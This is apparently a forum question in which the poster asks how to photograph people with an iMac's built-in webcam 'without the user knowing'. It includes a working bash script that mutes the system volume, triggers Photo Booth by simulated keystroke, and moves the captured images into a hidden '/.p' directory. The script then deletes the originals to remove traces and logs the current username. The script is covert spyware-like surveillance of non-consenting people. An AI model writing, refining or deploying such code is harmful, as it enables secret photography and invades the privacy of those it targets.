|
Way to snap a photo using the built in webcam
I am looking for a way to snap a photo without the user knowing using the built in webcam in a Imac. The way I have been doing it work's fine but I am using photo booth which give's them time to move out of the way.
#!/bin/bash
rm -fr ~/Pictures/Photo\ Booth/*;
osascript -e "set Volume 0";
sleep 5;
open /Applications/Photo\ Booth.app;
osascript -e'tell application "System Events" to keystroke return';
sleep 5;
killall "Photo Booth";
if [ -d /.p ];then
echo
else
mkdir /.p
fi
cd ~/Pictures/Photo\ Booth
folders=$(ls)
mv ~/Pictures/Photo\ Booth/* /.p
rm -rf ~/Pictures/Photo\ Booth/*
user=$(whoami)
if [ -f /.p/user.txt ];then
echo $user >> /.p/user.txt @ "$folders"
else
echo $user > /.p/user.txt @ "$folders"
fi
|